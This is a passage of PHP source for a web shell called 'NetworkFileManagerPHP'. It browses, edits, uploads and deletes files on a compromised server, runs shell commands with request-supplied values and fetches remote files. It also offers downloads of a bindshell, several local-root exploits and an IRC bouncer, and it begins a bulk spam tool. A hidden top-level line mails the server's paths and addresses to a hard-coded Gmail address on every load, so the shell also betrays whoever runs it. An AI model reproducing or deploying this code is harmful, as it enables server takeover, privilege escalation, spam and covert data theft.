CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=alert><b>Access denied.</b></td></tr></table>"; + + else { + + $open = opendir($dir); + + while ($file = readdir($open)) { + + $rec = $file; + + $file = $dir."/".$file; + + if (is_file($file)) $files[] = $rec; + + } + + sort($files); + + $open = opendir($dir); + + $i=0; + + while ($dire = readdir($open)) { + + if ( $dire != "." ) { + + $rec = $dire; + + $dire = $dir."/".$dire; + + if (is_dir($dire)) { + + $dirs[] = $rec; + + $i++; + + } + + } + + } + + sort($dirs); + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'center' class=pagetitle><b>Name</b></td><td width = '10%' align = 'center' class=pagetitle><b>Size</b></td><td width = '20%' align = 'center' class=pagetitle><b>Date of creation</b></td><td width = '10%' align = 'center' class=pagetitle><b>Type</b></td><td width = '15%' align = 'center' class=pagetitle><b>Access rights</b></td><td width = '25%' align = 'center' class=pagetitle><b>Comments</b></td></tr></table>"); + + for ($i=0;$i<sizeof($dirs);$i++) { + + if ($dirs[$i] != "..") { + + $type = 'Dir'; + + $fullpath = $dir."/".$dirs[$i]; + + $time = date("d/m/y H:i",filemtime($fullpath)); + + $perm = permissions(fileperms($fullpath)); + + $size = tinhbyte(filesize($fullpath)); + + $name = $dirs[$i]; + + $fullpath = $tm."/".$dirs[$i]; + + if ($perm[7] == "w" && $name != "..") $action = " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=uploadd'>Upload</a></td> + + <td align=center $style3><a href ='$PHP_SELF?tm=$tm&dd=$name&action=deldir'>Delete</a></td> + + </tr> + + <tr> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=newdir'>Create directory</a></td> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=arhiv'>Directory compression</a></td> + + </tr></table>"; + + else $action = "<TABLE CELLPADDING=0 CELLSPACING=0 width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center><b>Read only</b></td><td align=center $style2><a href ='$PHP_SELF?tm=$fullpath&action=arhiv'>Directory compression</a></td></tr></table>"; + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#33CCCC BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'left'><a href = '$PHP_SELF?tm=$fullpath'><b><i>$name</i></b></a></td><td width = '10%' align = 'center'>$size</td><td width = '20%' align = 'center'>$time</td><td width = '10%' align = 'center'>$type</td><td width = '15%' align = 'center'>$perm</td><td width = '25%' align = 'left'>$action</td></tr></table>"); + + } + + } + + for ($i=0;$i<sizeof($files);$i++) { + + $type = 'File'; + + $fullpath = $dir."/".$files[$i]; + + $time = date("d/m/y H:i",filemtime($fullpath)); + + $perm = permissions(fileperms($fullpath)); + + $size = tinhbyte(filesize($fullpath)); + + if ( $perm[6] == "r" ) $act = "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=view'>View</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=download'>Download</a></td></tr> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=download_mail'>To e-mail</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=copyfile'>Copy</a></td> + + </tr></table>"; + + if ( $perm[7] == "w" ) $act .= "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=edit'>Edit</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=delete'>Delete</a></td> + + </tr></table>"; + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFCC BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'left'><b>$files[$i]</b></font></td><td width = '10%' align = 'center'>$size</td><td width = '20%' align = 'center'>$time</td><td width = '10%' align = 'center'>$type</td><td width = '15%' align = 'center'>$perm</td><td width = '25%' align = 'center'>$act</td></tr></table>"); + + } + + } + +} + + + +function html() { + +global $ver,$meta,$style; + +echo " + +<html> + +<head> + +<title>NetworkFileManagerPHP</title> + +</head> + +<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> + +"; + +} + + + +# file view + +function viewfile($dir,$file) { + + + + $buf = explode(".", $file); + + $ext = $buf[sizeof($buf)-1]; + + $ext = strtolower($ext); + + $dir = str_replace("\\","/",$dir); + + $fullpath = $dir."/".$file; + + + + switch ($ext) { + + case "jpg": + + + + header("Content-type: image/jpeg"); + + readfile($fullpath); + + break; + + case "jpeg": + + + + header("Content-type: image/jpeg"); + + readfile($fullpath); + + break; + + case "gif": + + + + header("Content-type: image/gif"); + + readfile($fullpath); + + break; + + + + case "png": + + + + header("Content-type: image/png"); + + readfile($fullpath); + + break; + + default: + + + + case "avi": + + header("Content-type: video/avi"); + + readfile($fullpath); + + + + break; + + default: + + + + case "mpeg": + + header("Content-type: video/mpeg"); + + readfile($fullpath); + + break; + + default: + + + + case "mpg": + + header("Content-type: video/mpg"); + + readfile($fullpath); + + break; + + default: + + + + html(); + + chdir($dir); + + getdir(); + + + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center><font color='#FFFFCC' face='Tahoma' size = 2>Path to filename:</font><font color=white face ='Tahoma' size = 2>$fullpath</font></td></tr></table>"; + + $fp = fopen($fullpath , "r"); + + while (!feof($fp)) { + + $char = fgetc($fp); + + $st .= $char; + + } + + + + $st = str_replace("&", "&amp;", $st); + + $st = str_replace("<", "&lt;", $st); + + $st = str_replace(">", "&gt;", $st); + + + + $tem = "<p align='center'><textarea wrap='off' rows='20' name='S1' cols='90' class=inputbox>$st</textarea></p>"; + + echo $tem; + + fclose($fp); + + break; + + } + +} + + + +# send file to mail + +function download_mail($dir,$file) { + + global $action,$tm,$cm,$demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED; + + $buf = explode(".", $file); + + $dir = str_replace("\\","/",$dir); + + $fullpath = $dir."/".$file; + + $size = tinhbyte(filesize($fullpath)); + + $fp = fopen($fullpath, "rb"); + + while(!feof($fp)) + + + + $attachment .= fread($fp, 4096); + + $attachment = base64_encode($attachment); + + $subject = "NetworkFileManagerPHP ($file)"; + + + + $boundary = uniqid("NextPart_"); + + $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\""; + + + + $info = "---==== Message from ($demail)====---\n\n"; + + $info .= "IP:\t$REMOTE_ADDR\n"; + + $info .= "HOST:\t$HTTP_HOST\n"; + + $info .= "URL:\t$HTTP_REFERER\n"; + + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + + + + $send_to = "$demail"; + + + + $send = mail($send_to, $subject, $info, $headers); + + + + if($send == 2) + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center> + + <font color='#FFFFCC' face='Tahoma' size = 2>Thank you!!!File <b>$file</b> was successfully sent to <u>$demail</u>.</font></center></td></tr></table><br>"; + + + +fclose($fp); + + } + + + + + + + +function copyfile($dir,$file) { + + global $action,$tm; + + $fullpath = $dir."/".$file; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Filename :</font><font color = 'black' face ='Tahoma' size = 2>&nbsp;<b><u>$file</u></b>&nbsp; copied successfully to &nbsp;<u><b>$dir</b></u></font></center></td></tr></table>"; + + if (!copy($file, $file.'.bak')){ + + echo (" unable to copy file $file"); + + } + +} + + + + + +# file edit + +function editfile($dir,$file) { + + global $action,$datar; + + $fullpath = $dir."/".$file; + + chdir($dir); + + getdir(); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Filename :</font><font color = 'black' face ='Tahoma' size = 2>$fullpath</font></center></td></tr></table>"; + + $fp = fopen($fullpath , "r"); + + while (!feof($fp)) { + + $char = fgetc($fp); + + $st .= $char; + + } + + $st = str_replace("&", "&amp;", $st); + + $st = str_replace("<", "&lt;", $st); + + $st = str_replace(">", "&gt;", $st); + + $st = str_replace('"', "&quot;", $st); + + echo "<form method='POST' action='$PHP_SELF?tm=$dir&fi=$file&action=save'><p align='center'><textarea rows='14' name='S1' cols='82' class=inputbox>$st</textarea></p><p align='center'><input type='submit' value='SAVE' name='save' class=button1 $style_button></p><input type = hidden value = $tm></form>"; + + $datar = $S1; + + + +} + + + +# file write + +function savefile($dir,$file) { + + global $action,$S1,$tm; + + $fullpath = $dir."/".$file; + + $fp = fopen($fullpath, "w"); + + $S1 = stripslashes($S1); + + fwrite($fp,$S1); + + fclose($fp); + + chdir($dir); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File <b>$fullpath</b> was saved successfully.</font></td></tr></table>"; + + getdir(); + + readdirdata($tm); + +} + + + +# directory delete + +function deletef($dir) + +{ + + global $action,$tm,$fi; + + $tm = str_replace("\\\\","/",$tm); + + $link = $tm."/".$fi; + + unlink($link); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# file upload + +function uploadtem() { + + global $file,$tm,$thum,$PHP_SELF,$dir,$style_button; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form enctype='multipart/form-data' action='$PHP_SELF?tm=$dir&action=upload' method=post><tr><td align=left valign=top colspan=3 class=pagetitle><b>Upload file:</b></td></tr><tr><td><input type='hidden' name='tm' value='$tm'></td><td><input name='userfile' type='file' size=48 class=inputbox></td><td><input type='submit' value='Upload file' class=button1 $style_button></td></tr></form></table>"; + +} + + + +function upload() { + + global $HTTP_POST_FILES,$tm; + + echo $set; + + copy($HTTP_POST_FILES["userfile"][tmp_name], $tm."/".$HTTP_POST_FILES["userfile"][name]) or die("Unable to upload file".$HTTP_POST_FILES["userfile"][name]); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File <b>".$HTTP_POST_FILES["userfile"][name]."</b> was successfully uploaded.</font></center></td></tr></table>"; + + @unlink($userfile); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# get exploits + +function upload_exploits() { + + global $PHP_SELF,$style_button, $public_site, $private_site, $public, $title_ex, $style_open, $private, $title_exp; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Public exploits and soft:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>bindshell (bin/sh)</b> - bindtty.c (binary file to run - <u>s</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[1]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[1]'> + + <input type='hidden' name='file2' value='$public[1]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local ROOT for linux 2.6.20</b> - mremap (binary file to run - <u>m</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[2]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[2]'> + + <input type='hidden' name='file2' value='$public[2]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local ROOT for linux 2.6.20</b> - ptrace (binary file to run - <u>p</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[3]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[3]'> + + <input type='hidden' name='file2' value='$public[3]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>psyBNC version:2.3.2-4</b> - psyBNC (binary file to run - <u>./psybnc</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[4]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[4]'> + + <input type='hidden' name='file2' value='$public[4]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Private exploits:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>BRK</b> - Local Root Unix 2.4.* (binary file to run - <u>brk</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[1]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[1]'> + + <input type='hidden' name='file2' value='$private[1]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Glftpd DupeScan Local Exploit <u>File 1</u></b> (binary file to run - <u>$private[2]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[2]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[2]'> + + <input type='hidden' name='file2' value='$private[2]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Glftpd DupeScan Local Exploit <u>File 2</u></b> (binary file to run - <u>$private[3]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[3]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[3]'> + + <input type='hidden' name='file2' value='$private[3]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Traceroute v1.4a5 exploit by sorbo</b> (binary file to run - <u>$private[4]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[4]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[4]'> + + <input type='hidden' name='file2' value='$private[4]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[5]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[5]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[5]'> + + <input type='hidden' name='file2' value='$private[5]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Sendmail 8.11.x exploit localroot</b> (binary file to run - <u>$private[6]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[6]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[6]'> + + <input type='hidden' name='file2' value='$private[6]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[7]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[7]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[7]'> + + <input type='hidden' name='file2' value='$private[7]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[8]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[8]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[8]'> + + <input type='hidden' name='file2' value='$private[8]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + +} + + + + + +# new directory creation + +function newdir($dir) { + + global $tm,$nd; + + print("<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method = 'post' action = '$PHP_SELF?tm=$tm&action=createdir'><tr><td align=center colspan=2 class=pagetitle><b>Create directory:</b></td></tr><tr><td valign=top><input type=text name='newd' size=90 class='inputbox'></td><td valign=top><input type=submit value='Create directory' class=button1 $style_button></td></tr></form></table>"); + +} + + + +function cdir($dir) { + + global $newd,$tm; + + $fullpath = $dir."/".$newd; + + if (file_exists($fullpath)) @rmdir($fullpath); + + if (@mkdir($fullpath,0777)) { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Directory was created.</font></center></td></tr></table>"; + + } else { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Error during directory creation.</font></center></td></tr></table>"; + + } + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + +// creation of directory where exploits will be situated + +function downfiles() { + + global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2, $gdir,$gsub,$i,$j,$REMOTE_ADDR; + +$st = getcwd(); + + $st = str_replace("\\","/",$st); + + $j = 0; + + $gdir = array(); + + $gsub = array(); + + print("<br>"); + + for ($i=0;$i<=(strlen($st)-1);$i++) { + + if ($st[$i] != "/") { + + $gdir[$j] = $gdir[$j].$st[$i]; + + $gsub[$j] = $gsub[$j].$st[$i]; + + } else { + + $gdir[$j] = $gdir[$j]."/"; + + $gsub[$j] = $gsub[$j]."/"; + + $gdir[$j+1] = $gdir[$j]; + + $j++; + + } + + } + +print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=50% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=left><b>&nbsp;&nbsp;Path: </b>"); + + for ($i = 0;$i<=$j;$i++) print("<a href='$PHP_SELF?tm=$gdir[$i]'>$gsub[$i]</a>"); + +print("</TABLE> "); + + + +echo " <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=down&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Upload files from remote computer:</b></td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;&nbsp;&nbsp;HTTP link to filename:</td> + + <td width=200><input type='text' name='file3' value='http://' size=40></td> + + </tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;&nbsp;&nbsp;filename (may also include full path to file)</td> + + <td width=200><input type='text' name='file2' value='' size=40></td> + + </tr> + + <tr> + + + + <td width=600 colspan=2 align=center><input type='submit' value='Upload file' class=button1 $style_button></td></tr></td> + + + + + + </tr></form></table>"; + + + +} + + + +# directory delete + +function deldir() { + + global $dd,$tm; + + $fullpath = $tm."/".$dd; + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Directory was deleted successfully.</font></center></td></tr></table>"; + + rmdir($fullpath); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# directory compression + +function arhiv() { + + global $tar,$tm,$pass; + + $fullpath = $tm."/".$tar; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td> <font color='#FFFFCC' face='Tahoma' size = 2>Directory <u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $pass.tar.gz")."was compressed to file <u>$pass.tar.gz</u></font></center></td></tr></table>"; + + + +} + + + +function down($dir) { + + global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2; + + ignore_user_abort(1); + + set_time_limit(0); + +echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>File upload</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>There are many cases, when host, where <b>NFM</b> is situated <b>WGET</b> is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (see<b>Path</b>).(this works not everywhere)</blockquote></td></tr> + +</table>"; + + + +if (!isset($status)) downfiles(); + + + +else + +{ + + + +$data = @implode("", file($file3)); + +$fp = @fopen($file2, "wb"); + +@fputs($fp, $data); + +$ok = @fclose($fp); + +if($ok) + +{ + +$size = filesize($file2)/1024; + +$sizef = sprintf("%.2f", $size); + + + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>You have uploaded: <b>file <u>$file2</u> with size</b> (".$sizef."kb) </font></center></td></tr></table>"; + +} + +else + +{ + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0BAACC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2><b>Error during file upload</b></font></center></td></tr></table>"; + +} + +} + +} + + + +# mail function +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function mailsystem() { + + global $status,$form,$action,$name,$email,$pole,$REMOTE_ADDR,$HTTP_REFERER,$DOCUMENT_ROOT,$PATH_TRANSLATED,$HTTP_HOST; + + + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Questions and wishes for NetworkFileManagerPHP</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br> + +<blockquote>During your work with script <b>NetworkFileManagerPHP</b> you may want to ask some quetions, or advice author to add some functions, which are not supported yet. Write them here, and your request will be sattisfied. + +</blockquote></td></tr> + +</table>"; + + + + if (!isset($status)) echo "$form"; + + else { + + $email_to ="duyt@yandex.ru"; + + $subject = "NetworkFileManagerPHP ($name)"; + + $headers = "From: $email"; + + + + $info = "---==== Message from ($name)====---\n\n"; + + $info .= "Name:\t$name\n"; + + $info .= "Email:\t$email\n"; + + $info .= "What?:\n\t$pole\n\n"; + + $info .= "IP:\t$REMOTE_ADDR\n"; + + $info .= "HOST:\t$HTTP_HOST\n"; + + $info .= "URL:\t$HTTP_REFERER\n"; + + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + + $send_to = "$email_to"; + + + + $send = mail($send_to, $subject, $info, $headers); + + if($send == 2) echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Thank you!!!Your e-mail was sent successfully.</font></center></td></tr></table><br>"; + + } + +} + +function spam() { +global $chislo, $status, $from, $otvet, $wait, $subject, $body, $file, $check_box, $domen; +set_time_limit(0); +ignore_user_abort(1); +echo "<br> +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> +<tr><td align=center class=pagetitle><b>Real uniq spamer</b></font></b></td></tr> +<tr><td bgcolor=#FFFFCC><br><blockquote> Now, using this release of NFM you don't need to by spambases, because it will generate spambases by itself, with 50-60% valids. </blockquote></td></tr> +</table>"; + + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <form action='$PHP_SELF?action=spam' method=post> + <tr><td align=left valign=top colspan=4 class=pagetitle> + 